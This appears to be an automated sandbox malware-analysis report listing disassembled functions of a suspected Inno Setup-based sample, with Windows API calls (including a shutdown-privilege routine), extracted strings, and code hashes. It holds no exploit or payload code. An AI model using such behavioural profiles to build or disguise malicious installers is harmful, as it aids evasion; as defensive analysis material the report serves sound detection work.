Function 00407EB8 Relevance: 1.3, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,?,00407E9D), ref: 00407ECF

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: c7bedad96efb848ea9f674ed311898bb29a23f2a16fc3a9de009753beeeb9dd9
Instruction ID: 622015b425f940adf6dc1d0f89e873b9c6d17cfe6f0c2733970da1323f12c917
Opcode Fuzzy Hash: c7bedad96efb848ea9f674ed311898bb29a23f2a16fc3a9de009753beeeb9dd9
Instruction Fuzzy Hash: 3ED0E9B17553055BDB90EEB98CC1B0237D8BB48610F5044B66904EB296E674E8009654

Non-executed Functions

Function 00409448 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 41shutdownCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028), ref: 00409457
OpenProcessToken.ADVAPI32(00000000,00000028), ref: 0040945D
LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,00000028), ref: 00409476
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000002,00000000,00000000,00000000), ref: 0040949D
GetLastError.KERNEL32(?,00000000,00000002,00000000,00000000,00000000), ref: 004094A2
ExitWindowsEx.USER32(00000002,00000000), ref: 004094B3

Strings

SeShutdownPrivilege, xrefs: 0040946F

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ProcessToken$AdjustCurrentErrorExitLastLookupOpenPrivilegePrivilegesValueWindows
String ID: SeShutdownPrivilege
API String ID: 107509674-3733053543
Opcode ID: 5d5c4cc2167cea31fe6e778ad900630fb502c4628614430f67a63468396a48bc
Instruction ID: 55e16e97e4c30333ef6e9d7cb44a764448f3c494fd9ead6bbbdf5d5bb2f9c1eb
Opcode Fuzzy Hash: 5d5c4cc2167cea31fe6e778ad900630fb502c4628614430f67a63468396a48bc
Instruction Fuzzy Hash: 61F012B069830179E610AAB18D07F6762885BC4B18F50493ABB15FA1C3D7BDD809466F

Function 00409BEC Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(00000000,00002B67,0000000A), ref: 00409BF6
SizeofResource.KERNEL32(00000000,00000000,?,00409CE6,00000000,0040A27D,?,00000001,00000000,00000002,00000000,0040A2C5,?,00000000,0040A2FC), ref: 00409C09
LoadResource.KERNEL32(00000000,00000000,00000000,00000000,?,00409CE6,00000000,0040A27D,?,00000001,00000000,00000002,00000000,0040A2C5,?,00000000), ref: 00409C1B
LockResource.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00409CE6,00000000,0040A27D,?,00000001,00000000,00000002,00000000,0040A2C5), ref: 00409C2C

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: ce7c2a79786de0a8682d58b31ceb4174bbddb2d24ae6ad16542ef9ae896a3e40
Instruction ID: ed04ed1443b666af2c347742ca0221af59beed1f1180006ed42e296f861e82c7
Opcode Fuzzy Hash: ce7c2a79786de0a8682d58b31ceb4174bbddb2d24ae6ad16542ef9ae896a3e40
Instruction Fuzzy Hash: ECE07EA0B483562AFA6076FB08C2B2A018C4BA671DF40003BB701B92C3DEBD8C14856E

Function 00405258 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,0040545A,?,?,?,00000000,0040560C), ref: 0040526B

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: b79b605a6dbd2dbd76dc5df923bc970e8acc9169766131cf64cabc826e101d13
Instruction ID: 1db3d1c1bb6fab5f91442dea8a08a829cd161d84d3a7e1f0c2fe21aaaafd944f
Opcode Fuzzy Hash: b79b605a6dbd2dbd76dc5df923bc970e8acc9169766131cf64cabc826e101d13
Instruction Fuzzy Hash: 9ED02EA230E2006AE210808B2C84EBB4A9CCEC53A0F00007FF648C3242D2208C029B76

Function 004026C4 Relevance: 1.5, APIs: 1, Instructions: 20timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 004026CE

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: SystemTime
String ID:
API String ID: 2656138-0
Opcode ID: 1c1586f040ad907c453502297459692aa8199981632c93951a31d41848eff65d
Instruction ID: 69442b1fa125f02c17f5f00667ba5619268a94e84ed87230136e9e38920861ba
Opcode Fuzzy Hash: 1c1586f040ad907c453502297459692aa8199981632c93951a31d41848eff65d
Instruction Fuzzy Hash: 14E04F21E0010A82C704ABA5CD435EDF7AEAB95600B044272A418E92E0F631C251C748

Function 00405CF4 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,004065F0,00000000,004065FE,?,?,?,?,?,00409C6A), ref: 00405D02

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 804cda8d473c4c61bcc63f12479ba9190822d5c554409fc9a119c77cb0a2aa37
Instruction ID: 4c33b40dd65743d8d98a5ffd827b1eb297e5dd4f71424004bfe2d5ab9b26ea54
Opcode Fuzzy Hash: 804cda8d473c4c61bcc63f12479ba9190822d5c554409fc9a119c77cb0a2aa37
Instruction Fuzzy Hash: 00C0126040070186D7109B31DC02B1672D4AB44310F4405396DA4963C2E73C80018A6E

Function 0040840C Relevance: .5, Instructions: 545COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7cb438cf7f0ff76753a1d16800e3023f3e313fbbfbb21f985cf38b771b24bb28
Instruction ID: 7dc6dc86846b3232beed044054ddb30c9891ac2fec336679fba6e94018ae2b4c
Opcode Fuzzy Hash: 7cb438cf7f0ff76753a1d16800e3023f3e313fbbfbb21f985cf38b771b24bb28
Instruction Fuzzy Hash: C032D775E00219DFCB14CF99CA80AADB7B2BF88314F24816AD855B7385DB34AE42CF55

Function 00407024 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 86registrylibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,GetUserDefaultUILanguage,00000000,00407129,?,00000000,004098D0), ref: 0040704D
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00407053
RegCloseKey.ADVAPI32(?,?,00000001,00000000,00000000,kernel32.dll,GetUserDefaultUILanguage,00000000,00407129,?,00000000,004098D0), ref: 004070A1

Strings

Locale, xrefs: 00407090
kernel32.dll, xrefs: 00407048
GetUserDefaultUILanguage, xrefs: 00407043
.DEFAULT\Control Panel\International, xrefs: 00407078
Control Panel\Desktop\ResourceLocale, xrefs: 004070B0

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: AddressCloseHandleModuleProc
String ID: .DEFAULT\Control Panel\International$Control Panel\Desktop\ResourceLocale$GetUserDefaultUILanguage$Locale$kernel32.dll
API String ID: 4190037839-2401316094
Opcode ID: 84283e8ecd5f01446eeee6c4ca3ac4597d6d061694d9d4138b3ca6e7d0b19e25
Instruction ID: c068e7fb85b52830e378cef5638f1cf195f9e270113e5aa630163df598a56aa7
Opcode Fuzzy Hash: 84283e8ecd5f01446eeee6c4ca3ac4597d6d061694d9d4138b3ca6e7d0b19e25
Instruction Fuzzy Hash: 72214170E04209ABDB10EAB5CC55A9E77A9EB48304F60847BA510FB3C1D7BCAE01875E

Function 00403A97 Relevance: 15.1, APIs: 10, Instructions: 122fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00403B1E
GetFileSize.KERNEL32(?,00000000,00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00403B42
SetFilePointer.KERNEL32(?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00403B5E
ReadFile.KERNEL32(?,?,00000080,?,00000000,00000000,?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000002,00000000), ref: 00403B7F
SetFilePointer.KERNEL32(?,00000000,00000000,00000002), ref: 00403BA8
SetEndOfFile.KERNEL32(?,?,00000000,00000000,00000002), ref: 00403BB2
GetStdHandle.KERNEL32(000000F5), ref: 00403BD2
GetFileType.KERNEL32(?,000000F5), ref: 00403BE9
CloseHandle.KERNEL32(?,?,000000F5), ref: 00403C04
GetLastError.KERNEL32(000000F5), ref: 00403C1E

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: File$HandlePointer$CloseCreateErrorLastReadSizeType
String ID:
API String ID: 1694776339-0
Opcode ID: bd0a662ad2dd38144def4530256030cdb08cf53568247c3ffcddd32d1ed1ea18
Instruction ID: 6684f6b4d1923fa93cc5777a7ebe0ca766b8c5f16b1f456132d2f0a6dbb27d3d
Opcode Fuzzy Hash: bd0a662ad2dd38144def4530256030cdb08cf53568247c3ffcddd32d1ed1ea18
Instruction Fuzzy Hash: 444194302042009EF7305F258805B237DEDEB4571AF208A3FA1D6BA6E1E77DAE419B5D

Function 004053C4 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 167COMMON

Download Yara Rule

APIs

GetSystemDefaultLCID.KERNEL32(00000000,0040560C,?,?,?,?,00000000,00000000,00000000,?,004065EB,00000000,004065FE), ref: 004053DE

Part of subcall function 0040520C: GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0040C4BC,00000001,?,004052D7,?,00000000,004053B6), ref: 0040522A

Part of subcall function 00405258: GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,0040545A,?,?,?,00000000,0040560C), ref: 0040526B

Strings

:mm, xrefs: 004055C0
mmmm d, yyyy, xrefs: 004054CF
AMPM, xrefs: 004055A9
m/d/yy, xrefs: 004054AD
:mm:ss, xrefs: 004055DA

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: InfoLocale$DefaultSystem
String ID: AMPM$:mm$:mm:ss$m/d/yy$mmmm d, yyyy
API String ID: 1044490935-665933166
Opcode ID: 2becd82198b95216644133442ecc563e5ef80f5327bc31795fb041598c227e39
Instruction ID: cc137df54ae1fcbb63b87987e69a719e9c27c4b31815d0debc5c9b1d2781c89a
Opcode Fuzzy Hash: 2becd82198b95216644133442ecc563e5ef80f5327bc31795fb041598c227e39
Instruction Fuzzy Hash: F8515374B00548ABDB00EBA59891A5F7769DB88304F50D5BBB515BB3C6CA3DCA058F1C

Function 004019DC Relevance: 9.1, APIs: 6, Instructions: 59COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.KERNEL32(0040C41C,00000000,00401AB4), ref: 00401A09
LocalFree.KERNEL32(0061AA20,00000000,00401AB4), ref: 00401A1B
VirtualFree.KERNEL32(?,00000000,00008000,0061AA20,00000000,00401AB4), ref: 00401A3A
LocalFree.KERNEL32(0061BA20,?,00000000,00008000,0061AA20,00000000,00401AB4), ref: 00401A79
RtlLeaveCriticalSection.KERNEL32(0040C41C,00401ABB), ref: 00401AA4
RtlDeleteCriticalSection.KERNEL32(0040C41C,00401ABB), ref: 00401AAE

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CriticalFreeSection$Local$DeleteEnterLeaveVirtual
String ID:
API String ID: 3782394904-0
Opcode ID: 57d208b384dc2f586c03b96f4df297de7af50f17441c1957de60d2bf1c39d9ad
Instruction ID: 5447b05044442752c1d56c7733342563ab4b4f61826a3093f511f794066d9233
Opcode Fuzzy Hash: 57d208b384dc2f586c03b96f4df297de7af50f17441c1957de60d2bf1c39d9ad
Instruction Fuzzy Hash: 91116330341280DAD711ABA59EE2F623668B785748F44437EF444B62F2C67C9840CA9D

Function 00403D02 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 72windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 00403D9D
ExitProcess.KERNEL32 ref: 00403DE5

Strings

Runtime error at 00000000, xrefs: 00403D96, 00403DA9
Error, xrefs: 00403D91
9@, xrefs: 00403D29, 00403D34

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ExitMessageProcess
String ID: Error$Runtime error at 00000000$9@
API String ID: 1220098344-1503883590
Opcode ID: 0b7abc0913d0e9b6482778e2bb40dc1e8adb9ed549d30d0444a38b969016e341
Instruction ID: db3008c0e6bc5d60e05df0545d3e9f81ce91e923819fa2a9fb93000da4b6b716
Opcode Fuzzy Hash: 0b7abc0913d0e9b6482778e2bb40dc1e8adb9ed549d30d0444a38b969016e341
Instruction Fuzzy Hash: B521F830A04341CAE714EFA59AD17153E98AB49349F04837BD500B73E3C77C8A45C76E

Function 004036B8 Relevance: 7.6, APIs: 5, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 004036F2
SysAllocStringLen.OLEAUT32(?,00000000), ref: 004036FD
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000), ref: 00403710
SysAllocStringLen.OLEAUT32(00000000,00000000), ref: 0040371A
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00403729

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ByteCharMultiWide$AllocString
String ID:
API String ID: 262959230-0
Opcode ID: 759139aa8138bb4f1b890a81a570935fc2f09484a8ccbcda4eb7e9d11bc9ffe5
Instruction ID: 1285967c487f36a4f1f77a8b8e1f1fe351824cacfdb80e5859a13ebcd08b75b2
Opcode Fuzzy Hash: 759139aa8138bb4f1b890a81a570935fc2f09484a8ccbcda4eb7e9d11bc9ffe5
Instruction Fuzzy Hash: 17F068A13442543AF56075A75C43FAB198CCB45BAEF10457FF704FA2C2D8B89D0492BD

Function 00406E10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 113registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,?,00000000,00406F48,?,00000000,004098D0,00000000), ref: 00406E4C
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,70000000,?,?,00000000,00000000,00000000,?,00000000,00406F48,?,00000000), ref: 00406EBC

Strings

)q@, xrefs: 00406F3F, 00406E98, 00406EA8, 00406F04, 00406F28, 00406F18, 00406EEF

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: QueryValue
String ID: )q@
API String ID: 3660427363-2284170586
Opcode ID: 32d2d681139902fa63b50b1e86c1c6042aee641263ad409bd5d16b68eaa8278f
Instruction ID: 22a93fbabe645b78fd14ced98f65bd4bcb22fe3fd6f8222f7fa8e6a3c98f8dfc
Opcode Fuzzy Hash: 32d2d681139902fa63b50b1e86c1c6042aee641263ad409bd5d16b68eaa8278f
Instruction Fuzzy Hash: E6415E31D0021AAFDB21DF95C881BAFB7B8EB04704F56447AE901F7280D738AF108B99

Function 004030DC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,00409C56), ref: 004030E3
GetCommandLineA.KERNEL32(00000000,00409C56), ref: 004030EE

Strings

U1hd.@, xrefs: 00403103

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CommandHandleLineModule
String ID: U1hd.@
API String ID: 2123368496-2904493091
Opcode ID: ab44cebb113f23cc453db0582047ce3f33ed2b100303cb8959b7892e21e32e4b
Instruction ID: 0f926add87520dc699e98d27074396f9fab16295c11a520b4b5863bd90c7cb52
Opcode Fuzzy Hash: ab44cebb113f23cc453db0582047ce3f33ed2b100303cb8959b7892e21e32e4b
Instruction Fuzzy Hash: 03C01274541300CAD328AFF69E8A304B990A385349F40823FA608BA2F1CA7C4201EBDD

Function 004094D8 Relevance: 5.0, APIs: 4, Instructions: 45sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,?,?,0000000D,?,0040A220,000000FA,00000032,0040A287), ref: 004094F7
Sleep.KERNEL32(?,?,?,?,0000000D,?,0040A220,000000FA,00000032,0040A287), ref: 00409507
GetLastError.KERNEL32(?,?,?,0000000D,?,0040A220,000000FA,00000032,0040A287), ref: 0040951A
GetLastError.KERNEL32(?,?,?,0000000D,?,0040A220,000000FA,00000032,0040A287), ref: 00409524

Memory Dump Source

Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ErrorLastSleep
String ID:
API String ID: 1458359878-0
Opcode ID: 597fcf42490b874720d4ad81cf19761f51130dad350fd41d24dc31ad960abd38
Instruction ID: cd4a420f7ace5638a97e0bdb8a1e9fccbb234b9240edd4770f97938e6011a3cc
Opcode Fuzzy Hash: 597fcf42490b874720d4ad81cf19761f51130dad350fd41d24dc31ad960abd38
Instruction Fuzzy Hash: 16F0967360451477CA35A5AF9D81A5F634DDAD1354B10813BE945F3283C538DD0142A9

Analysis Process: sQurASc1qLwRL.tmpPID: 7772, Parent PID: 7748COMMON

Execution Graph

Execution Coverage:	16%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	74

Executed Functions

Function 0047051C Relevance: 79.7, APIs: 4, Strings: 41, Instructions: 965COMMON

Download Yara Rule

Strings

7J|, xrefs: 004705BA
-- File entry --, xrefs: 0047056F
User opted not to strip the existing file's read-only attribute. Skipping., xrefs: 00470D0A
Existing file's SHA-1 hash is different from our file. Proceeding., xrefs: 00470B38
Dest filename: %s, xrefs: 00470708
Failed to strip read-only attribute., xrefs: 00470D47
Non-default bitness: 64-bit, xrefs: 00470723
, xrefs: 00470A43, 00470C14, 00470C92
.tmp, xrefs: 00470E2B
Dest file is protected by Windows File Protection., xrefs: 00470761
Installing the file., xrefs: 00470D7D
Will register the file (a type library) later., xrefs: 00471387
Dest file exists., xrefs: 0047082F
Time stamp of existing file: %s, xrefs: 0047089F
Stripped read-only attribute., xrefs: 00470D3B
Time stamp of our file: %s, xrefs: 0047080F
Non-default bitness: 32-bit, xrefs: 0047072F
User opted not to overwrite the existing file. Skipping., xrefs: 00470CC1
InUn, xrefs: 00470FD3
Incrementing shared file count (64-bit)., xrefs: 00471400
Failed to read existing file's SHA-1 hash. Proceeding., xrefs: 00470B44
Skipping due to "onlyifdestfileexists" flag., xrefs: 00470D6E
Incrementing shared file count (32-bit)., xrefs: 00471419
Couldn't read time stamp. Skipping., xrefs: 00470BA9
Version of our file: (none), xrefs: 00470970
Uninstaller requires administrator: %s, xrefs: 00471003
Existing file has a later time stamp. Skipping., xrefs: 00470C43
Same version. Skipping., xrefs: 00470B59
@, xrefs: 00470624
Same time stamp. Skipping., xrefs: 00470BC9
Time stamp of existing file: (failed to read), xrefs: 004708AB
Existing file is protected by Windows File Protection. Skipping., xrefs: 00470C60
Version of our file: %u.%u.%u.%u, xrefs: 00470964
Time stamp of our file: (failed to read), xrefs: 0047081B
Existing file's SHA-1 hash matches our file. Skipping., xrefs: 00470B29
Version of existing file: %u.%u.%u.%u, xrefs: 004709F0
Existing file is a newer version. Skipping., xrefs: 00470A76
Version of existing file: (none), xrefs: 00470B6E
Skipping due to "onlyifdoesntexist" flag., xrefs: 00470842
Will register the file (a DLL/OCX) later., xrefs: 00471393
Installing into GAC, xrefs: 00471588

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID:
String ID: $-- File entry --$.tmp$7J|$@$Couldn't read time stamp. Skipping.$Dest file exists.$Dest file is protected by Windows File Protection.$Dest filename: %s$Existing file has a later time stamp. Skipping.$Existing file is a newer version. Skipping.$Existing file is protected by Windows File Protection. Skipping.$Existing file's SHA-1 hash is different from our file. Proceeding.$Existing file's SHA-1 hash matches our file. Skipping.$Failed to read existing file's SHA-1 hash. Proceeding.$Failed to strip read-only attribute.$InUn$Incrementing shared file count (32-bit).$Incrementing shared file count (64-bit).$Installing into GAC$Installing the file.$Non-default bitness: 32-bit$Non-default bitness: 64-bit$Same time stamp. Skipping.$Same version. Skipping.$Skipping due to "onlyifdestfileexists" flag.$Skipping due to "onlyifdoesntexist" flag.$Stripped read-only attribute.$Time stamp of existing file: %s$Time stamp of existing file: (failed to read)$Time stamp of our file: %s$Time stamp of our file: (failed to read)$Uninstaller requires administrator: %s$User opted not to overwrite the existing file. Skipping.$User opted not to strip the existing file's read-only attribute. Skipping.$Version of existing file: %u.%u.%u.%u$Version of existing file: (none)$Version of our file: %u.%u.%u.%u$Version of our file: (none)$Will register the file (a DLL/OCX) later.$Will register the file (a type library) later.
API String ID: 0-3195905535
Opcode ID: 9d68f8344ce4977df8583e247318b1194b32105c4f4fc62b9f0a4044c1636d2c
Instruction ID: b563e12d89f4af072a7005ff78b426759e5259748c8527a90f65f129335a0b73
Opcode Fuzzy Hash: 9d68f8344ce4977df8583e247318b1194b32105c4f4fc62b9f0a4044c1636d2c
